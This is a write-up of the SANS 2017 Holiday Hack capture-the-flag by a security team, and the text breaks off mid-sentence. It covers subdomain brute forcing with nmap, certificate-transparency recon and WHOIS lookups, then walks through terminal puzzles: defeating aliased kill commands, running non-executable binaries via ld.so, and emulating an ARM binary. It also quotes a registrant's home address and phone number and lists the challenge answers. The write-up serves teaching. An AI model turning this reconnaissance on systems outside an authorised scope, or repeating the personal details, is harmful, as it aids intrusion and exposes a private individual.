SANS 2017 Holiday Hack Writeup
Table of Contents
- Introduction
- tl;dr: Quick Answers
- Pre-contest Reconnaissance
- Terminals
- Answers
- Easter Eggs
- Appendices
Introduction
We are the Security team at the National Center for Supercomputing Applications, and like last year, we worked together on a fun SANS Holiday Hack. Over the past year, we've been surprised to see how many skills and tricks from the 2016 Holiday Hack we have used for our jobs.
We've done "red-team" work such as code reviews and pen-tests, where we encountered issues such as insufficient PHP input sanitization, development files being left in production, and services being unintentionally exposed. Our role in such instances is to find these issues before someone malicious does, and to help and educate our users to better understand and prevent this from reoccuring. Other work we do is architecting defenses and mitigations: how do we secure systems and services, while being as transparent as possible to end-users?
As we do red-team work, it's useful to try to think like a defender: "How would I have secured this system, and are there any ways around that?" Similarly, as we do blue-team work, we need to know the methods and tools an attacker would use.
Overview
If you're unfamiliar with the SANS Holiday Hack, please check that out first! We encourage you to give it a shot before reading this solution. It's a great learning opportunity, and it stays up all year and into the future. Huge shout-out to SANS for putting on this event.
We kick things off with some very short answers to the 9 questions we were posed. Something different that we did this year was to do some reconnaissance before the Hack even began. The 2017 Challenge consisted of two parts, with the first being The North Pole and Beyond world – an in-browser WebGL-based game, where players could earn points and hints by manuevering giant snowballs around an obstacle course. Hidden in this game were "Cranberry Pi" terminals, which had simple challenges to be solved as we helped the elves fix their broken systems.
The second part of the challenge was gaining access to North Pole systems and recovering lost pages from the Great Book. These challenges required finding and exploiting vulnerabilities, and often chaining different attacks together. Once we had all the pages, we could determine who the villain was.
We end our report with various Easter Eggs that we found, and a couple of appendices that go into more detail on certain topics.
For our solutions, we review the information that we were given, lay out how we solved it, and what led us to the solution, and when possible, show some other ways that we could've approached the challenge. Overall, we tried to stick as closely as possible to the hints, blog posts, and tools provided …and then to try to elevate privileges, crack passwords, and see what other information we could find — all while taking care to stay within the scope of the challenge. We also tried to automate as much of our work as possible, and we make these tools publicly available.
We hope you enjoy our report. We certainly enjoyed writing it.
tl;dr: Quick Answers
- What is the title of the first page? About This Book…
- What is the topic of The Great Book page available in the web root of the server? On the Topic of Flying Animals
What is Alabaster Snowball's password? stream_unhappy_buy_loss - What is the file server share name? FileStor
- What can you learn from The Great Book page found in an e-mail on EWA? The behavior of the Abominable Snowman ("Bumble") has recently become erratic. Rumor has it that there must've been some magic in something he ate.
- How many infractions are required to be marked as naughty? 4
What are the names of at least six insider threat moles? Isabel Mehta, Nina Fitzgerald, Kirsty Evans, Sheri Lewis, Beverly Khalil, Christy Srivastava as well as the two in the BOLO, Bini Aru and Boq Questrian
Who is throwing the snowballs from the top of the North Pole Mountain and what is your proof? The Abominable Snow Monster, Bumble. Based on a chat with Sam the Snowman. - What is the title of The Great Book page on EAAS? The Dreaded Inter-Dimensional Tornadoes
- What does The Great Book page on EMI describe? The Witches of Oz
- Who wrote the letter to Santa on edb? The Wizard of Oz
- Which character is the villain, and what is the motive? Glinda, the Good Witch. To stir up elf-munchkin hostilities and sell her magic to both sides.
Pre-contest Reconnaissance
Figure 1: SANS Holiday Hack Challenge December 5th Update
On December 5th, the SANS Holiday Hack Challenge was updated to tell us that the 2017 Hack was coming soon, and encouraging us to catch up on past challenges. The next day, we started doing just that. In addition to reviewing previous challenges, we also began some reconnaissance for the 2017 challenge.
Recon is a crucial step of any good penetration test, and is one that often gets skipped in a "Capture the Flag" type of competition, since most of the information is provided. Nevertheless, let's see what we can find. The more information we have ahead of time, the better prepared we'll be, and the less work we'll have to do during the actual contest.
Much like how attackers will have indicators of compromise (IOCs) which allow us to track and follow an individual attacker, the Counter Hack team also does similar things every year, and will leave behind some clues.
Whois Searching
For example, the 2016 contest made use of the domain www.northpolewonderland.com. We can look at publicly available WHOIS data for that domain:
whois northpolewonderland.com | grep Registrant
Registrant Name: Edward Skoudis Registrant Organization: Counter Hack Registrant Street: 2402 Alexandra Court Registrant City: Howell Registrant State/Province: New Jersey Registrant Postal Code: 07731 Registrant Country: US Registrant Phone: +1.7327511024 Registrant Phone Ext: Registrant Fax: +1.7327511024 Registrant Fax Ext: Registrant Email: edskoudis@yahoo.com
There are a few services that allow you to do a "reverse WHOIS" search, to search for domains by WHOIS data. For instance to search for other domains where "edskoudis@yahoo.com" shows up in the contact info:
Domain Name | Creation Date | Registrar |
---|---|---|
northpolechristmastown.com | 2017-10-19 | GODADDY.COM, LLC |
1hrctf.com | 2016-04-08 | GODADDY.COM, LLC |
1hrctf.org | 2016-04-08 | GODADDY.COM, LLC |
cranbian.org | 2016-11-22 | GODADDY.COM, LLC |
hackfestchallenge.com | 2016-10-20 | GODADDY.COM, LLC |
onehourctf.org | 2016-04-08 | GODADDY.COM, LLC |
atnascorp.com | 2015-11-10 | GODADDY.COM, LLC |
ginormouselectronicssupplier.com | 2015-12-09 | GODADDY.COM, LLC |
holidayhackchallenge.com | 2015-11-02 | GODADDY.COM, LLC |
holidayhackchallenge.org | 2015-11-02 | GODADDY.COM, LLC |
digimeme.org | 2013-11-18 | GODADDY.COM, LLC |
syn-pi.org | 2013-11-18 | GODADDY.COM, LLC |
pseudovision.net | 2010-09-09 | GODADDY.COM, LLC |
counterhack.net | 2001-06-22 | NETWORK SOLUTIONS, LLC. |
skoudis.com | 2001-06-22 | NETWORK SOLUTIONS, LLC. |
counterhack.com | 2000-05-30 | GODADDY.COM, LLC |
This isn't comprehensive, since northpolewonderland.com didn't show up in the results, but cranbian.org was another domain from 2016 that does show up.
There are a couple of new entries since the 2016 contest, 1hrctf and northpolechristmastown.com. 1hrctf seems unrelated, but it's a good bet that northpolechristmastown.com will show up in the 2017 challenge.
At this point, we have to proceed with extreme caution. Since the contest hasn't started, nothing is in scope yet. Any further digging should be as unintrusive as possible.
DNS Brute Forcing
Now that we have a domain we're interested in, let's look at DNS:
dig ANY northpolechristmastown.com
;; ANSWER SECTION: northpolechristmastown.com. 5 IN TXT "v=spf1 include:_spf.google.com -all" northpolechristmastown.com. 5 IN MX 30 ALT2.ASPMX.L.GOOGLE.com. northpolechristmastown.com. 5 IN MX 40 ASPMX2.GOOGLEMAIL.com. northpolechristmastown.com. 5 IN MX 20 ALT1.ASPMX.L.GOOGLE.com. northpolechristmastown.com. 5 IN MX 50 ASPMX3.GOOGLEMAIL.com. northpolechristmastown.com. 5 IN MX 10 ASPMX.L.GOOGLE.com. northpolechristmastown.com. 5 IN SOA ns53.domaincontrol.com. dns.jomax.net. 2017120112 28800 7200 604800 600 northpolechristmastown.com. 5 IN NS ns54.domaincontrol.com. northpolechristmastown.com. 5 IN NS ns53.domaincontrol.com.
From this, we can tell that GMail provides the e-mail for the domain, and GoDaddy provides the DNS service. Of note, however, is that there are no A or AAAA records, so northpolechristmastown.com does not resolve to anything.
Next, we'll try some Google dorking. Googling for site:northpolechristmastown.com reveals nppd.northpolechristmastown.com, which is a Sign In page for the North Pole Police Department. It looks like nppd uses Google OAuth for authentication, and most pages are forbidden with a regular GMail account.
Checking a few other common URLs on nppd, we can find some resources that are available, including favicon.ico and robots.txt:
User-agent: hk-47 Disallow: / Disallow: /needhelp Disallow: /infractions Disallow: /community Disallow: /about User-agent: threepio Sand-Crawler-delay: 421 User-agent: artoo Sand-Crawler-delay: 2187
Figure 2: North Pole Police Department Logo
Everything here but /infractions is forbidden. Looking at that page returns a list of infractions, such as "Unauthorized access to cookie jar" or "Computer infraction: Accessing siblings files without permission." We also see some interesting infractions that refer to previous Holiday Hacks:
{ "date": "2016-12-25T00:00:00", "name": "Dr. Who", "severity": 5.0, "status": "closed", "title": "Trying to ruin Christmas" }, { "date": "2015-12-25T00:00:00", "name": "Cindy Lou Who", "severity": 5.0, "status": "closed", "title": "Trying to ruin Christmas" } ], "query": "name:Who"
Going back to DNS, we can try to enumerate some hosts under the top level domain. FuzzDB has a nice list of common DNS name, and we can use an nmap script to try to query those:
$ nmap --script dns-brute --script-args dns-brute.domain=northpolechristmastown.com,dns-brute.threads=1,dns-brute.hostlist=fuzzdb/discovery/dns/dnsmapCommonSubdomains.txt
Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-06 18:54 CST Stats: 0:00:06 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan NSE Timing: About 0.00% done Pre-scan script results: | dns-brute: | DNS Brute-force hostnames: | intranet.northpolechristmastown.com - 35.196.239.128 | files.northpolechristmastown.com - 35.185.43.23 | dev.northpolechristmastown.com - 35.185.84.51 | admin.northpolechristmastown.com - 35.185.115.185 |_ mail.northpolechristmastown.com - 35.185.115.185
A couple of other lists resulted in the following hostnames as well:
| DNS Brute-force hostnames: | emi.northpolechristmastown.com - 35.185.57.190 |_ ewa.northpolechristmastown.com - 35.185.115.185
Certificate Transparency Logs
Next, let's turn our attention to the holidayhackchallenge.com domain. Last year, there were some new hosts that appeared under this domain (e.g. quest2016.holidayhackchallenge.com). Brute-forcing this will likely not get us very far, so let's try a different approach: certificate transparency logs. Many certificate authorities maintain transparency systems, so that issued certificates can be publicly reviewd. Symantec, for instance, has a free tool that will search the logs of several certificate authorities:
Figure 3: Symantec Crypto Report for holidayhackchallenge.com
Searching for holidayhackchallenge.com reveals the following certificates that don't look familiar:
Common Name | Subject Alternate Names (SANs) | IP |
---|---|---|
2017.holidayhackchallenge.com | 2017, puzzler2017 | 35.196.67.150 |
docker2017.holidayhackchallenge.com | 35.190.163.207 | |
chat.holidayhackchallenge.com | 35.196.73.180 |
Monitoring
None of the 3 servers listed above are currently accessible on port 80 or 443 (HTTP and HTTPS). We setup some monitoring using a free online service (uptimerobot.com). Every 5 minutes, it would try to connect to HTTP and HTTPs on the 3 servers listed above. Once the systems become available, it will text us and post a message to our Slack channel.
Once that happens, the hack is on, and we'll be ready to hit the ground running.
And Then Things Changed…
On December 11th, this setup was changed, and a lot of hosts were removed from DNS. We believe that the systems were reconfigured to only be accessible from private IP space.
The systems where the configuration changed are marked in italics in the table below.
Recon Summary
We can use the following indicators to search any clues we're later provided with:
Indicator | Type | Source |
---|---|---|
northpolechristmastown.com | Domain | Reverse WHOIS |
holidayhackchallenge.com | Domain | 2016 Hack |
nppd.northpolechristmastown.com | FQDN | Google Search |
intranet.northpolechristmastown.com | FQDN | DNS Brute Force |
files.northpolechristmastown.com | FQDN | DNS Brute Force |
dev.northpolechristmastown.com | FQDN | DNS Brute Force |
admin.northpolechristmastown.com | FQDN | DNS Brute Force |
mail.northpolechristmastown.com | FQDN | DNS Brute Force |
emi.northpolechristmastown.com | FQDN | DNS Brute Force |
ewa.northpolechristmastown.com | FQDN | DNS Brute Force |
2017.holidayhackchallenge.com | FQDN | Cert Transparency |
puzzler2017.holidayhackchallenge.com | FQDN | Cert SAN |
docker2017.holidayhackchallenge.com | FQDN | Cert Transparency |
chat.holidayhackchallenge.com | FQDN | Cert Transparency |
35.185.43.23 | IP | DNS (files) |
35.185.57.190 | IP | DNS (emi) |
35.185.84.51 | IP | DNS (dev) |
35.185.115.185 | IP | DNS (admin, mail, ewa) |
35.190.163.207 | IP | DNS (docker2017) |
35.196.67.150 | IP | DNS (2017) |
35.196.73.18 | IP | DNS (chat) |
35.196.239.128 | IP | DNS (intranet) |
HK-47 (Star Wars Droid) | Reference | nppd robots.txt |
Artoo (Star Wars Droid) | Reference | nppd robots.txt |
Threepio (Star Wars Droid) | Reference | nppd robots.txt |
Sand-Crawler (Star Wars Vehicle) | Reference | nppd robots.txt |
North Pole Police Department | Reference | nppd /infractions |
Cindy Lou Who (2015 Hack) | Reference | nppd /infractions |
Dr. Who (2016 Hack) | Reference | nppd /infractions |
Figure 4: Slack Notification that the Game is Live!
Terminals
Winter Wonder Landing
Question
| \ ' / -- (*) -- >*< >0<@< >>>@<<* >@>*<0<<< >*>>@<<<@<< >@>>0<<<*<<@< >*>>0<<@<<<@<<< >@>>*<<@<>*<<0<*< \*/ >0>>*<<@<>0><<*<@<< ___\\U//___ >*>>@><0<<*>>@><*<0<< |\\ | | \\| >@>>0<*<0>>@<<0<<<*<@<< | \\| | _(UU)_ >((*))_>0><*<0><@<<<0<*< |\ \| || / //||.*.*.*.|>>@<<*<<@>><0<<< |\\_|_|&&_// ||*.*.*.*|_\\db//_ """"|'.'.'.|~~|.*.*.*| ____|_ |'.'.'.| ^^^^^^|____|>>>>>>| ~~~~~~~~ '""""`------' My name is Bushy Evergreen, and I have a problem for you. I think a server got owned, and I can only offer a clue. We use the system for chat, to keep toy production running. Can you help us recover from the server connection shunning? Find and run the elftalkd binary to complete this challenge.
How to find the terminal
From this game: https://2017.holidayhackchallenge.com/game/7e48d6aa-4b73-4027-b23b-a6a1a3460d54
Direct Link: https://docker2017.holidayhackchallenge.com/?challenge=eb5282de-5e43-4813-8ada-5aee3cdb101e&uid=USER_ID
Figure 5: The terminal is right on top of the tower.
Background Information
We are logged in as the user elf
. According to Bushy Green's Twitter account someone copied the wrong find
executable onto his system.
Hints
Bushy Evergreen on Twitter has a hint:
Ugh, somebody copied over the wrong `find` executable to my system today. How am I supposed to know where find normally is?!
— Bushy Evergreen (@GreenestElf) December 5, 2017
Approach
To solve this challenge we need to find a valid version of find
on the system or some other viable version to find the elftalkd
binary.
Solution
First we need to test what's wrong with find
.
elf@784e43534178:~$ find bash: /usr/local/bin/find: cannot execute binary file: Exec format error
It looks like find
is located in /usr/local/bin/find
.
find
is a standard UNIX utility and is not normally located in /usr/local so this output is unexpected.
Let's look at our PATH variable that identifies the order that executables are located in.
elf@784e43534178:~$ echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
/usr/local/bin
is prioritized before /usr/bin
. Let's see if find exists in the normal /usr/bin
location.
elf@784e43534178:~$ ls -al /usr/bin/find -rwxr-xr-x 1 root root 221768 Feb 7 2016 /usr/bin/find
The original find
is still there. We can use it to find the elftalkd
binary and execute it.
elf@784e43534178:~$ /usr/bin/find / -iname elftalkd /usr/bin/find: '/var/cache/ldconfig': Permission denied /usr/bin/find: '/var/cache/apt/archives/partial': Permission denied /usr/bin/find: '/var/lib/apt/lists/partial': Permission denied /run/elftalk/bin/elftalkd /usr/bin/find: '/proc/tty/driver': Permission denied /usr/bin/find: '/root': Permission denied elf@784e43534178:~$ /run/elftalk/bin/elftalkd Running in interactive mode --== Initializing elftalkd ==-- Initializing Messaging System! Nice-O-Meter configured to 0.90 sensitivity. Acquiring messages from local networks... --== Initialization Complete ==-- _ __ _ _ _ _ | |/ _| | | | | | | ___| | |_| |_ __ _| | | ____| | / _ \ | _| __/ _` | | |/ / _` | | __/ | | | || (_| | | < (_| | \___|_|_| \__\__,_|_|_|\_\__,_| -*> elftalkd! <*- Version 9000.1 (Build 31337) By Santa Claus & The Elf Team Copyright (C) 2017 NotActuallyCopyrighted. No actual rights reserved. Using libc6 version 2.23-0ubuntu9 LANG=en_US.UTF-8 Timezone=UTC Commencing Elf Talk Daemon (pid=6021)... done! Background daemon...
Alternatives
The quick method is to iterate through using wildcards to execute the binary.
elf@784e43534178:~$ /elftalkd bash: /elftalkd: No such file or directory elf@784e43534178:~$ /*/elftalkd bash: /*/elftalkd: No such file or directory elf@784e43534178:~$ /*/*/elftalkd bash: /*/*/elftalkd: No such file or directory elf@784e43534178:~$ /*/*/*/elftalkd Running in interactive mode --== Initializing elftalkd ==-- Initializing Messaging System! ...
This can also be further simplified by using the relatively new bash option globstar
.
According to the documentation, "If set, the pattern '**' used in a filename
expansion context will match all files and zero or more directories and
subdirectories. If the pattern is followed by a ‘/’, only directories and
subdirectories match." With this option enabled, we only need a single attempt to find
and execute the binary:
elf@784e43534178:~$ shopt -s globstar elf@784e43534178:~$ /**/elftalkd Running in interactive mode --== Initializing elftalkd ==-- Initializing Messaging System! ...
Winconceivable The Cliffs Of Insanity
Question
___,@ / < ,_ / \ _, ? \`/______\`/ ,_(_). |; (e e) ;| \___ \ \/\ 7 /\/ _\8/_ \/\ \'=='/ | /| /| \ \___)--(_______|//|//| \___ () _____/|/_|/_| / () \ `----' / () \ '-.______.-' jgs _ |_||_| _ (@____) || (____@) \______||______/ My name is Sparkle Redberry, and I need your help. My server is atwist, and I fear I may yelp. Help me kill the troublesome process gone awry. I will return the favor with a gift before nigh. Kill the "santaslittlehelperd" process to complete this challenge.
How to find the terminal
From this game: https://2017.holidayhackchallenge.com/game/3e813a9c-cb34-492e-a317-0dd99c8ca2e7
Direct link: https://docker2017.holidayhackchallenge.com/?challenge=82c16868-a96e-4e4c-955e-5b41f7c5809a&uid=USER_ID
Figure 6: The terminal is on top of the building on the floating island right up front.
Background Information
elf@784e43534178:~$ D="------"; echo "$D System info:"; uname -a; cat /etc/issue; echo "$D Differences from skeleton home directory:"; diff -r /etc/skel .; echo "$D Who am I?"; id; echo "$D Running procs:"; ps axf ------ System info: Linux 784e43534178 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3 (2017-12-03) x86_64 x86_64 x86_64 GNU/Linux Ubuntu 16.04.3 LTS \n \l ------ Differences from skeleton home directory: diff -r /etc/skel/.bashrc ./.bashrc 81c81,84 < --- > alias kill='true' > alias killall='true' > alias pkill='true' > alias skill='true' 117a121,122 > PATH=$PATH:/usr/games > cat /etc/motd ------ Who am I? uid=1000(elf) gid=1000(elf) groups=1000(elf) ------ Running procs: PID TTY STAT TIME COMMAND 1 pts/0 Ss 0:00 /bin/bash /sbin/init 8 pts/0 S 0:00 /usr/bin/santaslittlehelperd 11 pts/0 S 0:00 /sbin/kworker 18 pts/0 S 0:01 \_ /sbin/kworker 12 pts/0 S 0:00 /bin/bash 994 pts/0 R+ 0:00 \_ ps axf
We see that /usr/bin/santaslittlehelperd
is running, and we're told
that we need to kill it. However, we see that in our .bashrc
file,
kill
and its variants are aliased to true
, which has no effect.
Hints
Sparkle Redberry on Twitter has some hints:
Dear #lazyweb: How do I fix a malicious alias on my Linux box? It seems to be stopping me from killing processes...
— Sparkle Redberry (@GlitteryElf) December 6, 2017
I tried `man alias`, but that doesn't even exist. It looks like maybe it's a built-in to bash itself?
— Sparkle Redberry (@GlitteryElf) December 6, 2017
Update: I read into `man bash`, and I even found a section on ALIASES (starting with "Aliases allow a string to be substituted for a word when it is used as the first word of a simple command[...]" but I couldn't even make it 40 words in before I got all cross-eyed.
— Sparkle Redberry (@GlitteryElf) December 6, 2017
Approach
From the Bash documentation:
A Bash alias is essentially nothing more than a keyboard shortcut, an abbreviation, a means of avoiding typing a long command sequence.
Here, however, aliases have been used to effectively disable kill
and its brethren. We need to figure out a way to run the real version
of kill
instead of the aliased version. One way to do this is to use the which
command:
elf@784e43534178:~$ which kill /bin/kill
Using the full path to the binary will bypass the alias, and allow us to actually run kill
.
elf@784e43534178:~$ /bin/kill -h Usage: kill [options] <pid> [...] Options: <pid> [...] send signal to every <pid> listed -<signal>, -s, --signal <signal> specify the <signal> to be sent -l, --list=[<signal>] list all signal names, or convert one to a name -L, --table list all signal names in a nice table -h, --help display this help and exit -V, --version output version information and exit For more details see kill(1).
All that's left is to determine the process ID (pid
) of the process to be killed. We can use the ps
command to determine this:
elf@784e43534178:~$ ps axf PID TTY STAT TIME COMMAND 1 pts/0 Ss 0:00 /bin/bash /sbin/init 8 pts/0 S 0:00 /usr/bin/santaslittlehelperd 11 pts/0 S 0:00 /sbin/kworker 18 pts/0 S 0:01 \_ /sbin/kworker 12 pts/0 S 0:00 /bin/bash 649 pts/0 R+ 0:00 \_ ps axf elf@784e43534178:~$ /bin/kill 8 elf@784e43534178:~$ ps axf PID TTY STAT TIME COMMAND 1 pts/0 Ss 0:00 /bin/bash /sbin/init 12 pts/0 S 0:00 /bin/bash 658 pts/0 R+ 0:00 \_ ps axf
Santa's little helper is no more.
Solution
A one-liner is: /usr/bin/pkill -f santaslittlehelperd
. pkill
can
kill a process by name, and the -f
argument will have it match
against the full name of the process.
Alternatives
Another approach is simply to remove the alias, by using the unalias
command:
elf@784e43534178:~$ unalias kill elf@784e43534178:~$ ps axf PID TTY STAT TIME COMMAND 1 pts/0 Ss 0:00 /bin/bash /sbin/init 8 pts/0 S 0:00 /usr/bin/santaslittlehelperd 11 pts/0 S 0:00 /sbin/kworker 18 pts/0 S 0:00 \_ /sbin/kworker 12 pts/0 S 0:00 /bin/bash 31 pts/0 R+ 0:00 \_ ps axf elf@784e43534178:~$ kill 8 elf@784e43534178:~$ ps axf PID TTY STAT TIME COMMAND 1 pts/0 Ss 0:00 /bin/bash /sbin/init 12 pts/0 S 0:00 /bin/bash 36 pts/0 R+ 0:00 \_ ps axf
Alternatively, you could run bash
with the --norc
flag, which
prevents it from reading and executing the ~/.bashrc
file where the
aliases are added.
One more approach is to call the command you want with a backslash.
elf@784e43534178:~$ \kill 8 elf@784e43534178:~$ ps axf PID TTY STAT TIME COMMAND 1 pts/0 Ss 0:00 /bin/bash /sbin/init 12 pts/0 S 0:00 /bin/bash 36 pts/0 R+ 0:00 \_ ps axf
Or call the command in quotes.
elf@784e43534178:~$ "kill" 8 elf@784e43534178:~$ ps axf PID TTY STAT TIME COMMAND 1 pts/0 Ss 0:00 /bin/bash /sbin/init 12 pts/0 S 0:00 /bin/bash 36 pts/0 R+ 0:00 \_ ps axf
Common Pitfalls
The fact that kill
was aliased to true
was problematic, because
true
never returns any output. Thus, it would look like the kill
command worked, but the process would still be running. Running
something like kill -h
would reveal that kill
was not being run
correctly, since the help output would not be displayed.
Cryokinetic Magic
Question
___ / __'. .-"""-. .-""-| | '.'. / .---. \ / .--. \ \___\ \/ /____| | / / \ `-.-;-(`_)_____.-'._ ; ; `.-" "-:_,(o:==..`-. '. .-"-, | | / \ / `\ `. \ / .-. \ \ \ | Y __...\ \ \ / / \/ /\ | | | .--""--.| .-' \ '.`---' / \ \ / / |` \' _...--.; '---'` \ '-' / jgs /_..---.._ \ .'\\_ `. `--'` .' (_) `'/ (_) / `._ _.'| .' ``````` '-...--'` My name is Holly Evergreen, and I have a conundrum. I broke the candy cane striper, and I'm near throwing a tantrum. Assembly lines have stopped since the elves can't get their candy cane fix. We hope you can start the striper once again, with your vast bag of tricks. Run the CandyCaneStriper executable to complete this challenge.
How to find the terminal
From this game: https://2017.holidayhackchallenge.com/game/a1f7ac49-8210-436b-9e25-0c19f9ebfe02
Direct link: https://docker2017.holidayhackchallenge.com/?challenge=da6d34d1-012b-420b-a7d5-369914353578&uid=USER_ID
Figure 7: The terminal is on top of the ice shanty.
Background Information
Upon initial inspection we discover that /usr/bin/chmod
is empty and CandyCaneStriper
has no execution flags set.
Hints
Holly Evergreen on Twitter has a hint
Update: LD_PRELOAD is awesome, but it doesn't help in this situation. https://t.co/gkF690pdAJ looks like the right approach, but it's not working on this system for some reason. Ugh, I step away from this for a bit and check with others. I'm too frustrated.
— Holly Evergreen (@GreenesterElf) December 6, 2017
Following the link describes a familiar situation:
Is there a way to run an executable binary file under Linux which does not have the execute bit set? chmod +x is not an option.
Approach
Let's take a look at the executable we're dealing with:
elf@784e43534178:~$ ls -l CandyCaneStriper -rw-r--r-- 1 root root 45224 Dec 15 19:59 CandyCaneStriper elf@784e43534178:~$ file CandyCaneStriper CandyCaneStriper: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=bfe4ffd88f30e6970feb7e3341ddbe579e9ab4b3, stripped
Much like how Python and Perl scripts have interpreters, ELF binaries also have interpreters. For our target, file
tells us that our interpreter is /lib64/ld-linux-x86-64.so.2
.
elf@784e43534178:~$ /lib64/ld-linux-x86-64.so.2 Usage: ld.so [OPTION]... EXECUTABLE-FILE [ARGS-FOR-PROGRAM...] You have invoked `ld.so', the helper program for shared library executables. This program usually lives in the file `/lib/ld.so', and special directives in executable files using ELF shared libraries tell the system's program loader to load the helper program from this file. This helper program loads the shared libraries needed by the program executable, prepares the program to run, and runs it. You may invoke this helper program directly from the command line to load and run an ELF executable file; this is like executing that file itself, but always uses this helper program from the file you specified, instead of the helper program file specified in the executable file you run. This is mostly of use for maintainers to test new versions of this helper program; chances are you did not intend to run this program. --list list all dependencies and how they are resolved --verify verify that given object really is a dynamically linked object we can handle --inhibit-cache Do not use /etc/ld.so.cache --library-path PATH use given PATH instead of content of the environment variable LD_LIBRARY_PATH --inhibit-rpath LIST ignore RUNPATH and RPATH information in object names in LIST --audit LIST use objects named in LIST as auditors elf@784e43534178:~$ /lib64/ld-linux-x86-64.so.2 ./CandyCaneStriper
Solution
elf@784e43534178:~$ /lib64/ld-linux-x86-64.so.2 ./CandyCaneStriper _..._ .'\\ //`, /\\.'``'.=", / \/ ;==| /\\/ .'\`,` / \/ `""` /\\/ /\\/ /\ / /\\/ /`\/ \\/ ` The candy cane striping machine is up and running!
Alternatives
There are many different ways to solve this challenge.
Overwrite an executable file with the existing binary:
elf@784e43534178:~$ ls -l /bin/chmod -rwxr-xr-x 1 root root 0 Dec 15 20:00 /bin/chmod elf@784e43534178:~$ cp /bin/ls new elf@784e43534178:~$ cat CandyCaneStriper > new elf@784e43534178:~$ ls -l total 96 -rw-r--r-- 1 root root 45224 Dec 15 19:59 CandyCaneStriper -rwxr-xr-x 1 elf elf 45224 Dec 17 00:15 new elf@784e43534178:~$ ./new
Use python to chmod. The chmod binary is just a wrapper around the chmod libc function. Any programming language will have this available:
>>> import os >>> os.chmod("CandyCaneStriper", 0755) Traceback (most recent call last): File "<stdin>", line 1, in <module> OSError: [Errno 1] Operation not permitted: 'CandyCaneStriper'
FAIL :( For some reason we can't modify CandyCaneStriper. What if make a copy first?
elf@784e43534178:~$ cp CandyCaneStriper c elf@784e43534178:~$ python Python 2.7.12 (default, Nov 20 2017, 18:23:56) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import os >>> os.chmod("c", 0755) >>> ^d elf@784e43534178:~$ ./c
With perl:
elf@784e43534178:~$ cp CandyCaneStriper c elf@784e43534178:~$ cat > fix.pl chmod 0755 "c"; ^d elf@784e43534178:~$ perl fix.pl String found where operator expected at fix.pl line 1, near "0755 "c"" (Missing operator before "c"?) syntax error at fix.pl line 1, near "0755 "c"" Execution of fix.pl aborted due to compilation errors. elf@784e43534178:~$ cat > fix.pl chmod 0755, "c"; ^d elf@784e43534178:~$ perl fix.pl elf@784e43534178:~$ ./c
Or as a perl one liner, now that we figured out the syntax:
elf@784e43534178:~$ cp CandyCaneStriper c elf@784e43534178:~$ perl -e 'chmod 0755, "c"'
There's Snow Place Like Home
Question
______ .-"""".._'. _,## _..__ |.-"""-.| | _,##'`-._ (_____)||_____|| |_,##'`-._,##'` _| |.;-""-. | |#'`-._,##'` _.;_ `--' `\ \ |.'`\._,##'` /.-.\ `\ |.-";.`_, |##'` |\__/ | _..;__ |'-' / '.____.'_.-`)\--' /'-'` //||\\(_.-'_,'-'` (`-...-')_,##'` jgs _,##`-..,-;##` _,##'`-._,##'` _,##'`-._,##'` `-._,##'` My name is Pepper Minstix, and I need your help with my plight. I've crashed the Christmas toy train, for which I am quite contrite. I should not have interfered, hacking it was foolish in hindsight. If you can get it running again, I will reward you with a gift of delight.
How to find the terminal
From this game: https://2017.holidayhackchallenge.com/game/41a1e6bb-60c3-4695-ad04-514fbcc76afa
Direct link: https://docker2017.holidayhackchallenge.com/?challenge=4050467e-9cde-44cd-aa63-1a0b8b210bb7&uid=USER_ID
Figure 8: The terminal is on the side of the center building.
Background Information
We're logged in as the user elf. There's a file called trainstartup
in our home directory.
This is a 64-bit x86 system:
elf@784e43534178:~$ uname -a Linux 784e43534178 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3 (2017-12-03) x86_64 x86_64 x86_64 GNU/Linux
Goal
It looks like we just want to run the trainstartup
file, but if we try that, we get an exec error:
elf@784e43534178:~$ ./trainstartup bash: ./trainstartup: cannot execute binary file: Exec format error
Hints
Pepper Minstix on Twitter has a hint:
Actually, @GreenesterElf , you're better at prompt commands than I am. Why can't I get this model train thing working? I'm in the right directory like you taught me, but this system is still saying "No such file or directory"
— Pepper Minstix (@PepperyGoodness) December 6, 2017
Holly Evergreen on Twitter has a hint for this as well:
I still can't figure out Pepper Minstix's issue. It looks like the binary is compiled for another architecture. I think qemu can help, but I don't want to run the entire OS :\ https://t.co/pikSOOkyZe helps, but I just want one binary, not the whole system!
— Holly Evergreen (@GreenesterElf) December 6, 2017
Approach
There's really not much to go on here. We'll first use file
to identify the trainstartup
binary:
elf@784e43534178:~$ file trainstartup trainstartup: ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=005de4685e8563d10b3de3e0be7d6fdd7ed732eb, not stripped
So the file is a Linux ELF binary, but it's for the ARM processor, and not for the x86_64 system that we're on. Let's see if there are any programs in our path that have arm
in the file name:
elf@784e43534178:~$ compgen -c | grep arm qemu-arm qemu-armeb
Running it with the help option gives us:
elf@784e43534178:~$ qemu-arm -h usage: qemu-arm [options] program [arguments...] Linux CPU emulator (compiled for arm emulation) ...
This looks like exactly what we need. qemu-arm
provides us with an ARM emulator, and we just need to run it with our program as the single argument. Let's give it a shot:
elf@784e43534178:~$ qemu-arm ./trainstartup Starting up ... Merry Christmas Merry Christmas v >*< ^ /o\ / \ @.· /~~ \ . / ° ~~ \ · / ~~ \ ◆ / ° ~~\ . 0 /~~ \ ─· ─ · o ┌┐ /° ·~~ .*· . \ ▒▒▒\ │ ──┬─°─┬─°─°─°─ ≠==≠°=≠°=≠==──┼──=≠ ≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠ │ /└───┘\┌───┐ └───┘ ≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠ You did it! Thank you!
Success!
Alternatives
The real difficulty of this terminal was in discovering that you
needed to use qemu-arm
. compgen -c
is a handy trick in CTFs to
